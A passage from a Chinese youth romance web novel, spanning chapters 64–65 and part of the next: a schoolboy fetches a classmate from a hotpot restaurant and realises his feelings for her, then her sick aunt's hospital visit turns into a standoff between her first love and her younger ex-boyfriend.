她不安慰还好，一安慰，于佳杰肩膀抖动幅度更大了，甚至还能听到明显的抽泣声。 姜织宁：“” 救命！！！ 早知道就不应该吃这顿火锅！ 怎么办，她完全没有安慰失恋男生的经验 “没事的没事的” “呃想开点啊……” “明天又是崭新美好的一天呢” 姜织宁只能这么机械重复着。 在她努力安慰于佳杰的时候，旁边陆续经过几位离店客人。 男生在公共场合哭本来就很少见，客人们纷纷用意味深长的目光打量姜织宁，一致认为男生是被姜织宁弄哭的。 目光对上，姜织宁愣了愣，抽了张纸巾挡住脸，尴尬摆手说：“不是我。” 客人心说，肯定是你。 姜织宁无辜重复：“真不是我。” 客人心说：哦，不是你，那你挡脸干嘛，做贼心虚吗？ * 姜颖气冲冲挂掉电话，压根没考虑其他人选，直接翻出柯译衍的号码打过去。 那边很快接起来。 三言两句，女人迅速交待好任务。 第64章 心动只是一瞬间的事 姜颖面朝通风口吹了会儿冷风, 直到浑身燥热消散大半，情绪缓和下来，才准备回包厢。 一转身, 便瞧见柯绍之双臂环胸，闲散倚靠在不远处注视着她。 也不知道这人什么时候来的, 偷听了多久。 姜颖不高兴瞪他一眼，冷声骂道：“你是鬼啊, 走路没声音？” 柯绍之浅笑了笑，慢悠悠说：“分明是你和男朋友聊得太投入。” “什么男朋友, ”姜颖偏头冷哼, 一脸不屑, “就一不懂事小屁孩，特没劲, 早就分了。” 早就分了？ 那么现在是单身。 柯绍之眉峰微扬，缓缓直起身。 姜颖回头看向柯绍之, 警惕质问：“饭局散了？” 他说：“还早。” 她语气不满：“那你过来干什么，故意偷听啊？” 柯绍之笑起来, 调侃道：“看你一脸杀气从我眼前路过，还挺害怕的, 以防万一, 就跟过来看看, 免得出什么意外, 毕竟今晚你是跟着我来的，我不想因为你进警察局。” 什么一脸杀气挺害怕 这阴险老男人酒喝多了吧, 胡说八道什么呢？ 也不知道是酒精原因, 还是怎么回事，姜颖感觉脸颊又红热了起来。 柯绍之走到姜颖面前, 垂眸打量了她一会儿，低声问：“还行？” “指什么？”姜颖看着他说。 “头晕不晕，有没有醉？” “怎么可能，我酒量好得很！”姜颖撇了撇嘴，下意识说，“你又不是没见过我喝醉什么样。” 话一出口，两人同时陷入沉默。 他和她都是彼此的初恋。 恍然间，柯绍之想起了曾经，想起了那段和姜颖刻骨铭心，最终却抱有遗憾的过去。 而姜颖在暗暗懊恼自己酒后失言。 耳边风声簌簌，气氛突然静谧得令人不知所措。 柯绍之垂眸静静注视着姜颖，那双深邃眼眸里有一种说不清道不明的复杂情绪。 体温倏地再度升高，姜颖被他看得浑身不自在，扭头望向别处，轻咳一声：“回去么？” 柯绍之嗯了声。 两人并肩离开，大概是觉得气氛有些尴尬，路上，姜颖主动找话说：“我刚给柯译衍打了个电话。” “嗯？” “叫你外甥帮忙送宁宝回家，两小朋友正好在同一家火锅店吃饭，柯译衍不用特意跑远。” “这也要和我说？”柯绍之略意外地挑了挑眉，唇角微弯，“家里的事不都是你做主么。” 他这话讲得挺醉翁之意不在酒。 但也没说错，自从两家共用一个阿姨后，家里一旦有什么事情，赵阿姨都是直接询问姜颖，俨然把她当成了女主人。 姜颖没好气瞪他一眼：“那肯定要说啊，毕竟你是他舅舅，我又不认识他妈妈。” 柯绍之笑起来，意味深长地说：“是吗？怎么就突然想起我是他舅舅了，之前你使唤他的时候，就没想起来？” 姜颖：“” 她难得理亏说不出话，正分心找理由时，脚下突然被什么硬东西绊了一下，她今天穿了双十厘米尖头细高跟，差点原地摔倒。 “小心点。”柯绍之眼疾手快扶住她。 姜颖稳住身体，低头定睛一看，是一块和地板颜色很接近的鹅软石 无语！ 她气得抬脚，用力将鹅软石踢飞到旁边草丛里，臭脸骂了句：“是谁往这边扔石头啊？！有病吧，缺德没素质！” 确认姜颖站稳后，柯绍之撤回放在细腰上的手，淡声提醒：“所以叫你小心点，走路少分心。” “知道了知道了。”姜颖敷衍回，随后压低声音说，“说起缺德，我看赵总简直是缺德它祖宗，就刚才，他提出的平台战略合作协议，嚯哟，听起来狗屎不如！” 柯绍之抿唇笑起来：“理他干什么。” * 俞杨觉得很不对劲。 本来一整晚都好好的，结果刚才回了一下信息，柯译衍就突然情绪大变，低气压上身，问他怎么回事，他也不说。 少年脸色沉冷，薄唇抿成一条冷硬直线，整个人明显强压着股脾气。 说实话，俞杨已经很久没看到柯译衍表现出这幅模样了。 真挺罕见的，他知道柯译衍对很多人事物都不在意，所以很少有人能把柯译衍惹成这样。 很快，包厢里的其他人察觉出柯译衍状态不对劲，面面相觑，不约而同用眼神打探怎么回事，也没人敢主动开口询问。 寿星是石莜的同校同学，所以石莜也来了，这回，她特意坐到了柯译衍身旁。 她侧目看向柯译衍，关心道：“你怎么啦？没事吧？” 柯译衍不冷不热嗯了声。 俞杨抓耳挠腮心痒痒，心说，到底哪个王八蛋敢惹他兄弟不高兴？ 难不成，和网球有关？ 大概率是这样，只有提起柯译衍禁聊雷区的时候，柯译衍才会露出这幅吓人样。 唉，估计有人拿重回赛场的事烦他了。 没过多久，桌上手机忽然响起来。 俞杨八卦凑过去看了眼，冲柯译衍说：“姜阿姨，谁啊？” 都不用猜，柯译衍每次一看到姜阿姨号码，就知道她是为了谁才打来电话，除了姜织宁还有谁。 他平静拿起手机接通，嗯了几声后利落挂断，紧接着面无表情起身，作势要出去。 “你干嘛去啊？”俞杨仰头愣怔看着他。 包厢里忽然安静下来，其他人视线齐刷刷跟着望过来。 柯译衍脸上没什么表情地撂了句：“有人想挨打。” 话落，他单手推开包厢门走出去。 俞杨：“？？？” 一脸懵逼。 片刻，有人问了句：“啊？什么什么，衍神刚才说什么来着？” “我就听到了挨打” “挨打？什么意思啊，柯译衍是出去打架吗？！” “俞杨，回神！别傻了！柯译衍刚才到底说什么啊？” 俞杨还在懵逼中，没反应过来，石莜皱眉替他说：“柯译衍说，有人想挨打。” “卧槽，那不就是打架吗！” “他一个人单刀赴会啊？” “我去，这种事都不叫我们？是不是兄弟啊！打架不就是人多力量大吗！” “那也说不准，也有可能人多碍事，或许衍神一个人就能速战速决。” “哎哟，少扯那些没用的！唧唧歪歪，是兄弟就过去撑场子，正好我最近手痒！” “那走呗，赶紧跟过去看看啊，可别真出什么事了！” 一伙人摩拳擦掌站起来。 …… 姜阿姨说姜织宁坐在大厅里，柯译衍心想那就很好找了，但他没想到这么好找，门一推开，就瞧见姜织宁坐在斜前方位置。 此时，少女蹙眉望着对面男生，一脸担心模样。 柯译衍目无情绪看着这一幕，平静心想，早就应该知道，除了他之外，姜织宁周围还会有其他异性朋友，这很正常。 为了不带来不必要的口舌麻烦，姜织宁在学校里没怎么交过异性朋友，休学之前，她都是和蔡从走一块儿，休学重读高二后，她便和周静瑶结伴而行。 她并不是不和男生来往，只是那种程度的来往，一眼就能看出是单纯的同学关系，算不上更近一步的朋友。 对于她来说，同学是同学，朋友是朋友，两者之间有条严格的界限。 进入新班级之后，异性里能称得上朋友的，只有柯译衍。 在学校里，柯译衍见多了姜织宁对其他男生表现出保持距离的客气态度，以至于突然看见她对男生露出罕见的，柔软的目光后，心里感到很不爽。 甚至，这画面让他觉得无比刺眼。 更烦人的是，他莫名想起了刚才韩辰那一句就差点名道姓的质问—— 到底是谁喜欢姜织宁啊？ 还能是谁。 柯译衍冷脸抬脚走过去。 不打一声招呼，他毫不客气坐到姜织宁身边，面无表情扫了眼于佳杰，接着扭头望向姜织宁，冷淡问：“吃好没？” 姜织宁：“？” 她眨了眨眼，目光里充满了迷茫：“你也在这里吃火锅？” “嗯，朋友生日。” 她笑起来：“这么巧啊。” 他冷冷回了句：“巧什么巧。” 姜织宁：“” 呃，他干嘛生气？ 姜织宁一脸茫然望着柯译衍。 今天是怎么了，犯水逆啊？ 一个在她面前哭，一个在她面前生气，她好不容易安慰好对面这个哭的，又得不带喘口气，开始哄起旁边这个生气的？ 不是，她也会心累的好吗。 柯译衍不打算和姜织宁废话，刚想例行公事问她吃饱没，就见俞杨那帮人撸着袖子，气势汹汹涌到桌子旁边。 柯译衍：“？” 于佳杰：“？” 姜织宁：“？” 这阵仗 这群人干嘛的？ 姜织宁迷茫心想，听说某些火锅店有给客人跳舞的服务，所以是准备过来表演吗？ 可是表演的话，他们脸上的表情会不会太凶了点 柯译衍也很困惑。 他奉命干活，这帮人跟出来干什么？ 俞杨站在队伍末尾，凶神恶煞的表情在发现姜织宁的那一秒而呆滞住，他愣了愣，迅速拨开人群挤到最前面，惊讶看着她。 “这么巧，宁王你也在啊？” 姜织宁蹙眉点了点头，反问：“你们一起的？这是要？” 男生们你看我我看你，不知所措，心说怎么回事啊？ 有人突然认出姜织宁的脸，顿时瞪大眼，冲同伴惊呼：“我的妈！居然是姜织宁哎！” 俞杨不自然咳了声，顺势看向柯译衍那张低气压冰山脸，他把声音压到最低，问道：“衍神，不是打架吗？您老坐这儿干嘛呢？” 打架？ 打什么架，莫名其妙。 柯译衍不耐烦抬手挥了挥，让他们麻溜的从哪来滚哪去，别打扰他办事。 俞杨懂了，立马转身招呼大部队：“走走走，误会了误会了！” 男生们：“” 石莜担心柯译衍出事，也紧跟着出来了，结果发现柯译衍冷脸坐在姜织宁身边。 又是姜织宁。 离开时，石莜蹙眉回头看了好几眼。 一帮人回到包厢，也没闲着，直接推开包厢门，暗中观察着柯译衍和姜织宁。 * 柯译衍斜眼看着姜织宁，继续刚才话题：“吃饱没？” 姜织宁：“啊？” “吃饱了回去睡觉，没吃饱就带你去吃点别的。”他冷声说。 这是姜颖的原话，吩咐他要是姜织宁没吃饱，就带她去吃点别的。 姜织宁反应过来，悄悄问：“姑姑叫你来的？” “嗯。” 解救她的人终于来了！ 姜织宁连连点头：“吃饱了！吃撑了！” 柯译衍当即起身，惜字如金地说：“走。” 姜织宁飞快收拾好东西，用一种“可怜高中牲不得不早睡早起”的无奈语气，对于佳杰说：“佳杰哥我先回去了，明天还要早起上学。” 于佳杰狐疑打量着柯译衍，怎么看都觉得不放心，他皱眉抬手拦了下，谨慎问姜织宁：“这是你朋友？” 刚才柯译衍突然冷脸坐下来的时候，都给于佳杰搞懵了，心想他谁啊？ 紧接着，又听到柯译衍平地惊雷蹦出一句“吃饱了回去睡觉”，好家伙，于佳杰吓得差点当场打电话报警！ 姜织宁可是未成年少女！ 睡什么觉！ 该死的混帐东西！ 居然敢毫不避讳地说出来，想进去踩缝纫机啊！ 姜织宁耐心解释：“他是我同班同学，我们住在同个小区，姑姑叫他过来接我回家。” 于佳杰这才放心点头：“行，路上小心。” 离开座位后，姜织宁善解人意地对柯译衍说：“要不你回去吧，反正也不远，我自己回去就行，不用特意麻烦你。” “我不睡觉吗？”柯译衍冷脸呛了她一句。 姜织宁：“” 不是，他到底为什么生气啊？ 柯译衍顾自走到包厢里，拿起搭在椅背上的黑色冲锋衣，对寿星打了声先走的招呼。 时间不早，生日宴本就临近尾声，大家都是明天要早起上学，或者继续训练的苦逼高中生，眼看柯译衍要撤，其他人也跟着起身准备回家。 见状，一同来的朋友连忙推了下石莜，冲她使眼色：“怎么办啊，柯译衍要走了，你不是想对他那个吗？” 石莜犹豫了下，迅速拿起包，追到火锅店门口，喊道：“柯译衍你要回去了？” “有事？” 柯译衍侧身回头，姜织宁顺势转身看向女生。 是有事，很重要的事。 石莜有话要对他说。 原本想等到生日宴结束之后，单独找他表白的，没想到，半路蹦出个姜织宁打乱她计划。 石莜嘴唇微张，欲言又止，最终抿唇微笑说：“没事，我微信上和你说。” 柯译衍淡淡嗯了声，转头问姜织宁：“想走回去还是打车？” 姜织宁心情愉悦回：“要不走回去吧，反正也不远，刚才真有点吃多了。” 两人一路无言，寂静气氛堪比医院太平间。 姜织宁一路偷瞄柯译衍好几回，发现他情绪很不对劲，身上拒人千里之外的冷感特别重，明显是在生气。 她不喜欢绕弯子，天生就是有话直说的直球性格，柯译衍一路沉默，让她感到浑身不舒服。 姜织宁叹了口气，抬手轻扯了下少年衣袖。 柯译衍停下脚步，侧目看她。 “你生气了？”姜织宁认真问。 他目光看向别处，语气平淡：“没有。” 她蹙眉说：“骗人吧，你就是不高兴啊，情绪都写在脸上了，是我惹你生气了吗？” 柯译衍没说话。 他现在心绪很复杂，脑子也很乱。 姜织宁语气诚恳地说：“如果是因为耽误你和朋友吃饭了，那我向你道歉，可能今天情况有些特殊，否则姑姑不会大晚上给你打电话的，你放心，我回去后会和她说” “是特殊。”柯译衍忽然冷声打断她，双臂环至胸前，面无表情训道，“大晚上和陌生人出去吃饭，你有没有警惕心？是不是想挨打？” “陌生人？”姜织宁愣了愣。 她和于佳杰确实不算熟，但也不至于说是陌生人吧，因为姑姑的原因，于佳杰很会讨她欢心，前前后后给她送过不少礼物。 唉，这有句老话说得好，吃人嘴软，拿人手短。 礼貌还是要有的。 姜织宁迟疑说：“佳杰哥不算是陌生人，他以前还给我送过礼物” “所以我给你送个礼物，”柯译衍再度打断她，下巴朝斜前方随意一指，冷淡道，“你也跟我走？” 顺着他下巴指的方向看过去，姜织宁愣了下，陷入沉默。 挺离谱的，那是一家婚纱店。 她慢吞吞回头，目光复杂望着柯译衍，发出灵魂拷问：“你要送我婚纱啊？” “” 柯译衍愣住，抬眸瞥了眼，很无语，真是家婚纱店。 “呃会不会太早了点？”姜织宁震惊地说。 到底年纪还小，加上心也大，她压根没往暧昧方向想，只是单纯觉得，不愧是柯大少爷，随便一出手就是大手笔，居然送她Vera Wang婚纱。 “”柯译衍冷静收回视线，嗓音有些发紧地说，“只是打个比方，你别扯远。” 姜织宁：“哦先不说佳杰哥的事，他怎么能和你比呢，这不是开玩笑吗，他又不算朋友，就算你不送我礼物，我也会跟你走的。” 她脸上浮起笑容，好声好气哄他：“哎真的，不骗你，我肯定跟你走。” 她忽然想到了什么，笑着说：“柯译衍，你先往前走。” 柯译衍没动，皱眉看着她，不知道她想做什么。 她不轻不重推了他一下，催促道：“往前走啊。” 生气是事实，拿她没办法也是事实。 柯译衍行动比脑子快，身不由己，依言照做。 往前走了一小段路，正准备停下回头时，就听见姜织宁笑着喊了声：“柯译衍——” 他转身看她。 “不是说会跟你走吗？”姜织宁微抬下巴，扬声对他说，“这样，我就可以走向你了。” 熙熙攘攘的人群中，少女双手慵懒交叠于身后，逆着人流，笑盈盈走向他，那副身影漂亮得不像话。 皎洁明月为他而来，牵引起汹涌潮汐，那个无人知晓，刻意尘封于隐秘角落的少年心事死灰复燃。 到底是谁喜欢她啊？ 这一刻，韩辰的质问在脑海中反复敲打着他。 柯译衍静静注视着朝他走来的姜织宁，心脏砰砰跳动着，一下又一下，周围行人皆为虚影，眼中唯独只有她。 一股强烈的烦躁感油然而生。 他忽然意识到，原来心动只是一瞬间的事。 第65章 谈恋爱很麻烦吗？ 姜织宁把今晚事情的来龙去脉和柯译衍说了遍, 柯译衍沉默片刻，迟疑问：“那个人是姜阿姨的男朋友？” 姜织宁被他问得一愣，无言几秒后, 茫然反问：“姑姑没和你说吗？” 他微微摇头。 她又问：“那姑姑怎么和你说的？” “说你和陌生人吃饭。” “”姜织宁顿了下，恍然大悟说, “所以你是因为这个生气？” 柯译衍迅速瞥她一眼，含糊其辞低嗯了声。 其实一半一半吧, 他主要是气韩辰那句话，更烦躁的是自己不受控制的心意。 姜织宁若有所思。 也能理解, 可能姑姑不想在外人面前透露太多, 就干脆直接把于佳杰贬为陌生人。 “估计是姑姑不想说太多, 反正都分手了。”她善解人意地说，“没事, 你就当不知道。” 柯译衍一言不发看着她，姜织宁默了下, 表情变得严肃起来，“看我干什么？你可别想歪啊, 姑姑绝对不是那种人，佳杰哥早就成年了, 他今年都大四了！” “没这个意思。”柯译衍无奈回。 “嗯, 没有就好。” 两人拐了个弯, 从主干道走向支路, 顷刻间，车水马龙的喧嚣声骤降, 气氛闲静。 支路两旁种了成排的银杏树, 金黄色的银杏叶随风慢悠悠飘落，路灯散发着橘黄色的光, 浪漫如油画般的景色。 头顶纷纷扬扬银杏雨，姜织宁踩在厚厚一层落叶上，心情轻松愉悦。 一年四季中，她最喜欢秋天。 夏天太热，冬天太冷，只有春秋天气最宜人，春天也很好，万物复苏，草长莺飞，但还是最喜欢秋天，因为是她出生的季节。 “谈恋爱很麻烦吗？” 姜织宁轻盈踩在枯叶上，突然就着话题问。 柯译衍：“嗯？” 她抬手接住一片银杏叶，感慨说：“就是一种感觉吧，感觉谈恋爱好像特别麻烦。” 柯译衍沉默了下，淡声接话：“为什么这么说？” 姜织宁：“可能受到姑姑影响吧，姑姑的几段恋情都很抓马，虽然没有电视剧里演得这么狗血，但也挺戏剧波折，她和佳杰哥就是这样，分分合合好几次。” “你是不知道，刚才听佳杰哥抱怨恋情，都快给我听睡着了，这事听起来又麻烦又无聊，幸好你及时出现解救我，其实我都不清楚这两人到底分没分手。” “喜欢就在一起，不喜欢就分手，不就是谈个恋爱吗，有这么复杂吗？”她叹了声，嘟囔道，“我是个怕麻烦的人，实在搞不懂这事。” 话音落下许久，都没听到柯译衍回应，姜织宁歪头奇怪瞧他一眼：“怎么不说话，你不会还在生气吧？” 柯译衍平静回：“没，在想事情。” 姜织宁理解点了点头，转瞬就把无聊事抛至脑后。 “天气真好啊，最喜欢秋天了。” 她脚步轻快向前跑了几步，垫脚触碰风中的银杏叶。 柯译衍静静注视着少女的背影。 没遇到姜织宁之前，学习和网球充斥他的世界，其实他和她一样，排斥麻烦事，从小到大，他人生里的麻烦、变故已经够多了。 如果是以前，他大概率和姜织宁一样，不懂谈恋爱为什么会复杂又麻烦。 可惜，有个词叫变数。 对他而言，姜织宁就是他的变数。 而对姜织宁来说，有个从小一起长大形影不离的青梅竹马，两边家长特意早早定下娃娃亲，不出意外的话，下一步就是订婚了。 能够拥有一帆风顺的恋爱，她确实无法理解其中的麻烦。 柯译衍是这么想的。 …… 姜颖怕于佳杰想不通，继续作妖蹲在家门口，饭局结束之后，特意吩咐司机送她回去。 到家时已经凌晨，姜织宁早就睡了，女人确认无事发生后，轻手轻脚关上房间门。 第二天清晨。 姜织宁起床洗漱好，准备去对面吃早饭，姜颖打着哈欠从房间里走出来。 “姑姑你什么时候回来的？”姜织宁诧异看着好几天没回家的姜颖。 “凌晨吧。”女人嗓音无比沙哑，脸色也不太好。 “姑姑你的嗓子” 姜颖裹紧薄毛衣，蹙眉轻咳几声：“估计是昨天晚上回来时着凉了，这几天降温，你多穿点啊，别感冒了。” 姜织宁点了点头：“那我先过去吃饭了。” “对了。”姜颖叫住她，“昨晚于佳杰没再过来吧？” “没有。” 女人哦了声，转身回房间补觉。 深秋初冬的季节，气温变化大，流感因此多发，姜颖的感冒一直没痊愈，反而愈发严重了。 也怪她最初没有重视，拖到后面病情严重了才开始吃药，感冒药吃了好几天也不见效，加上这段时间公司、应酬两边跑，忙得脚不沾地，病弱疲惫的身体终于在这天晚上扛不住了。 姜颖的咽喉异常肿痛，嗓音哑到不像话，不仅高烧，还伴随着持续不断的呕吐症状。 姜织宁在房间里做作业，结束听力测验后，摘下耳机，忽然听见外面卫生间传来阵阵呕吐声。 她立马起身，走向卫生间查看。 只见平时光鲜亮丽的女强人此时发丝凌乱，双眼疲惫无神，脸颊上泛着病态的潮红。 姜织宁吓到了，连忙问：“姑姑，你没事吧？” 姜颖虚弱捂着胃，弯腰曲背从卫生间里走出来，家里阿姨请假不在，她翻着白眼干呕一声，蹙眉说：“有事，帮我打个车，得去医院看看。” 姜织宁立马跑回房间拿手机，准备点开打车软件的那一瞬间，她临时改意，给柯译衍打了个电话。 那边很快接通，她飞快问：“柯叔叔在家吗？姑姑发烧要去医院，打车太慢了，能不能麻烦柯叔叔开车送我们过去？” “在家，稍等。” 柯译衍一边说，一边迅速起身走向客厅。 数秒后，他在电话里说：“你让姜阿姨换好出门衣服，我们这边现在就能出发。” “嗯好。”姜织宁挂掉电话，扬声说，“姑姑，车安排好了。” 姜织宁是医院常客，女人进房间换衣服的同时，她细心检查了一遍需要携带的物品。 姜颖换好衣服出来，大门被敲响，姜织宁快步走过去开门。 柯绍之和柯译衍一前一后站着门外。 目光交汇，姜颖愣怔看着柯绍之，三秒后，满脸疑惑望向姜织宁，用眼神询问—— 大晚上，这两人跑过来干嘛？ 姜织宁拎起女人的包，笑眯眯说：“走吧姑姑，柯叔叔送我们去医院。” “啊？”生病原因，反应变得迟缓，姜颖足足沉默了好一会儿，才迟疑问，“他怎么知道的？等下，我不是让你打车” 柯绍之垂眸扫了眼女人脚上的拖鞋，皱眉打断她，催促道：“抓紧把鞋穿上。” 姜织宁顺势轻推姑姑走向玄关，解释：“我怕打车太慢了嘛，正好柯叔叔在家，请他帮忙会快一点呀。” “” 姜颖顿时无语看向柯绍之，内心连叹好口气，一时之间都不知道说什么好。 她从小就独立要强，自然无法接受自己只是生个小病罢了，居然还需要前！男！友！特意过来帮忙？？？ 这岂不是被他看了笑话？ 简直无法忍受！ 在商言商，她和柯绍之有正常商业来往那是另当别论，至于私生活方面，她可不想和柯绍之沾一点边。 尽管心里有一万个不情愿，但姜颖现在身体虚弱，根本没力气吵架赶人，何况人还是姜织宁找来的，她只能无语换鞋，臭脸上贼船。 明明身体难受得很，姜颖嘴巴却非要逞强，坐上车后，她不悦质问：“一个个都想干什么啊？这阵仗是不是太夸张了点？不就是发烧么，还需要三个人陪？” 原本只是让姜织宁帮忙打个车而已，都没想让人陪她去医院，现在莫名其妙多出来三个人，其中两个还是帮不上忙的高中生。 姜织宁一听这话，正要开口劝，便听见柯绍之习以为常地说：“歇歇吧，生病就好好休息，别费神说话。” 姜织宁觉得有道理，立马赞同点头：“姑姑你别说话了，休息一会儿吧。” “” 姜颖不悦瞪她一眼，你哪边的？ 女王大人臭脸看向车窗外，掷地有声斥了句：“夸张！” …… 医院灯火通明，已经很晚了，病人依旧不少。 幸好有柯绍之帮忙，看病一事有条不紊，进展高效顺利。 护士娴熟在姜颖左手背扎上针，她要挂两大瓶水，估计挂完都凌晨了。 知道姜织宁后天要期中考试，姜颖便对柯绍之说：“这俩高中生后天期中考试，我这边没事了，你带两人回去吧。” 没事了？ 都来医院了还叫没事？ 柯绍之不可思议看着脸色病恹恹，心却很大的姜颖。 这女人，前脚刚从诊室里出来，后脚就忘了医生的严肃质问—— 怎么这么晚才来？ 也不知道她是怎么好意思说自己没事的。 无语片刻，柯绍之吩咐柯译衍和姜织宁打车回去，自己留在医院，然后坐到了姜颖右手边。 姜颖疑惑扭头盯着他：“你坐下来干嘛？你也走啊。” 柯绍之微微一笑：“真把我当司机了？” 姜颖想当然心说，那不然？ 又没叫他陪，她可请不起他这个身价的陪护，有谁不知道呢，他柯总的时间很宝贵很值钱。 柯绍之佯装叹了口气，意味深长地说：“嗯，用完了就踹开，真有你的。” 姜颖：“” 这老男人在胡言乱语什么？ 女人柳眉倒竖，欲发脾气，柯译衍看了眼别有用心的舅舅，帮忙劝道：“姜阿姨，你一个人在医院不太方便，正好舅舅没什么事，还是让他陪你吧。” 姜织宁顺势说：“是啊姑姑，你一个人怎么行呢，或者，我留下来陪你？” “不行，你早点回去休息。”姜颖立马黑脸拒绝，“医院是什么好地方吗？” 姜织宁乖乖哦了声，笑眯眯说：“那就让柯叔叔陪你嘛，不然我在家里也不放心，会睡不着的。” 一听到睡不着，姜颖瞬间不吭声了，侄女的睡眠质量向来不好。 女人沉默数秒，神情略不情愿地交代柯译衍：“很晚了，你现在就带她回家，你们想吃夜宵就从冰箱里拿，冷冻室里有赵姨包的饺子，绝对不允许吃路边垃圾食品。” 柯译衍偏头看向姜织宁，低声说：“走吧。” “那我们先回去了。”姜织宁看着两位长辈，特意对柯绍之微笑说：“柯叔叔，麻烦你照顾好姑姑。” 柯绍之悠然点头。 姜织宁转身，正准备抬脚离开，身旁猛然卷起一阵急风，有人从她身边飞速闪过，速度快得只能看到残影。 下一秒，熟悉的嗓音炸响耳边。 “姐姐，你怎么在这里啊？” “还在输液，你生病了？！” “姐姐你一个人来医院？” “生病了怎么不和我说一声，我可以过来照顾你啊！” 这声音，姜织宁内心顿觉不妙，立马回头望去。 果然就是于佳杰！ 姜织宁下意识看向柯绍之，然后紧张窒息地挪到姑姑那边，呃……初恋和前任同时在场，这是什么修罗场画面…… 姜颖也是这么想的，此时她眉头紧皱，无比头痛。 姜织宁迅速扯了下柯译衍衣袖，嗓音压到最低：“特殊情况，不怕一万只怕万一，先看看情况再走。” 她没兴趣关心别人家八卦，除非当事人是她姑姑，场面实在太修罗场了，她担心姑姑招架不住。 柯译衍认出于佳杰的脸，缓缓挑了下眉。 怕他误会，姜织宁特意凑近他，悄悄说：“分手了，前男友，早上刚问过。” “” 说话就说话，靠他这么近干什么？ 那天晚上过后，柯译衍对姜织宁这个人很敏感。 他抬了抬眼，不动声色朝旁边挪远一小步。 由于左手在输液，姜颖的坐姿微微朝右侧斜靠，也就是挨着柯绍之这边。 眼看前男友莫名其妙凭空出现，姜颖大无语的同时，上半身慢吞吞坐直，默默抬起屁股，特意和柯绍之拉开一定距离。 柯绍之敏锐察觉到女人的小动作，冷冷扯了下唇角。 “你怎么来了？”姜颖冷静看着于佳杰。 于佳杰抬手指向站在不远处的两名男生，解释道：“室友吃坏肚子，我们陪他过来看医生。” 两人谈恋爱的时候，于佳杰从不藏着掖着，所以室友们都认识姜颖，还一起吃过饭，但这会儿姜颖尴尬得要命，一点也不想回头和他室友打招呼。 她深深呼吸，淡定抬手挥了挥：“嗯知道了，那你去陪室友吧。” 于佳杰不肯，讨好说：“姐姐没事的，还有一个室友在，我还是陪你吧。” 不等姜颖拒绝，他就顾自跑到室友那边，说了几句话后，两男生善解人意离开。 于佳杰飞奔回姜颖面前，笑眯眯望着她。 “”姜颖再度深呼吸，皮笑肉不笑地对他说，“不用了，我想一个人静静，你走吧。” 于佳杰态度坚持：“不想走，我就想在这里陪姐姐。” 如果是平时，姜颖大概率会发脾气，但这里是医院，周围还有其他病人，她只能压着情绪，好声好气地说：“我现在挺好的，真的不需要你陪，你去陪室友吧，说不定他们对医院不熟悉，你过去人多量大。” 于佳杰没眼力劲地说：“需要陪的，姐姐你就别逞强了，你一个人怎么行啊！我会好好照顾你的，想不想喝水，我去给你买。” “” 是听不懂人话还是怎么的？ 这小屁孩怎么这么固执啊！ 本来就头痛难受，现在这么一搞头更痛了，姜颖闭上眼，缓慢深呼吸，整个人游走在怒火发作的边缘。 柯绍之知道于佳杰是姜颖前男友，于佳杰却不知道柯绍之是姜颖的初恋，两人说话时，柯绍之冷眼旁观没开口，不屑理会这种连大学都还没毕业的幼稚小男生。 眼下小男生反复吵着不走，模样惹人厌烦，一想到刚才姜颖故意远离的态度，柯绍之的心情变得很不痛快。 柯绍之放下手机，冷声开口：“吵什么，不知道病人要静养么？” 救命，柯叔叔说话了！ 姜织宁紧张屏住呼吸，下意识伸手去拽旁边人，结果手捞了个空。 她纳闷扭头一看，好家伙，柯译衍什么时候坐过去的？ 刚才还坐在她旁边啊…… 离谱，这会儿他居然和她隔了三个空位！ 她连忙起身，悄悄挪到他身边坐下，用一种“是不是朋友啊，真没义气！”的强烈谴责目光斜睨着他，轻声责怪道：“离我这么远干嘛，不知道我害怕修罗场吗！” 柯译衍：“” “两边会不会吵起来？我还没见过这种场面呢！”姜织宁纳闷瞥了眼柯译衍，“你怎么这么淡定啊？” 柯译衍：“” 那他除了陪着她，还能做什么？ 另一边，于佳杰被柯绍之这么问候，愣了愣，第一反应是想道歉。 正要开口，不经意发现男人没挂水，看样子应该是哪位病人的家属，于是他把道歉收回去，脸色不悦地说：“拜托，我这是正常音量，哪里吵了？” 柯绍之冷淡回：“说你音量了？废话连篇也很吵。” “废废话连篇？”于佳杰噎住，气得稍稍抬高嗓门，“我在和我女朋友聊天，怎么就废话了？” “不是，请问你哪位啊？偷听别人说话还有礼了？大晚上的，故意坐在别人女朋友旁边是想干什么？姐姐，这男人是不是在骚扰你？！” “没有。”姜颖面无表情，“谁是你女朋友？” “我哪位？”柯绍之不嫌事大，下巴直接冲姜颖一指，“你问她。” 姜颖：“” 一个个的都有病吧！ 嘶，她头好痛啊！ 于佳杰懵住，缓缓直起身，终于后知后觉反应过来不对劲。 难怪男人会坐在姐姐身边，原来是认识的。 难怪姐姐坚持不需要他陪伴，原来已经有人陪了。 难怪刚才和姐姐说话的时候，男人一直冷眼盯着他。 所以，这男人是姐姐的追求者，又或是新男朋友么？ 否则干嘛陪她来医院看病！ 想到这，于佳杰表情瞬间沉下来，用力指着柯绍之，咬牙质问姜颖：“他是谁？” 质问的语气让姜颖很不舒服。 她冷漠抬眼，语气不耐：“和你有关系吗？这里谁是你女朋友？我们什么时候分的手，不会还需要我提醒你吧？你冲我发什么脾气，在这里闹什么？” “什么意思？”于佳杰脸色难看，“分手没多久，你就开始新恋情了？” “我的私事和你没关系，就算开始新恋情又有什么问题，难道还要和你说一声？”姜颖面无表情，漠然道，“哦对了，你也可以去找学妹啊，我拦你了？于佳杰，你什么时候变得这么纯情了？” 姜颖脾气上来，脱口而出的全是句句扎心的刺耳话。 于佳杰握紧拳头，哑口无言。 柯绍之不客气笑了笑，似在嘲讽，与此同时，余光发现俩高中生坐在后方不远处，还没离开。 男人微笑看向姜织宁，温和问：“还没回去？” 姜颖顺势扭头望过来，用一种“几点了？怎么还不回去？”的严肃目光盯着姜织宁。 “”姜织宁想挡脸都来不及，情急之下，干脆转头看向柯译衍，一脸无辜问，“打到车了吗？” “”柯译衍顿了顿，叹气配合说，“还没。” 姜织宁哦了声，对姑姑解释：“车还没来。” 柯绍之没戳破小朋友的小心思，打量姜织宁几眼后，突然笑着提议：“刚才就注意到了，我们EQUA的秋季新款被宁宁穿得很好看，怎么样，毕业后有没有兴趣给EQUA拍广告？” 姜织宁茫然看向柯译衍，不知所措“啊？”了声。 柯译衍无奈开口：“舅舅” 姜颖也是惊呆了，没想到柯绍之会这么说，她顾不上于佳杰，不可置信怒瞪着柯绍之，注意力全转移到他身上。 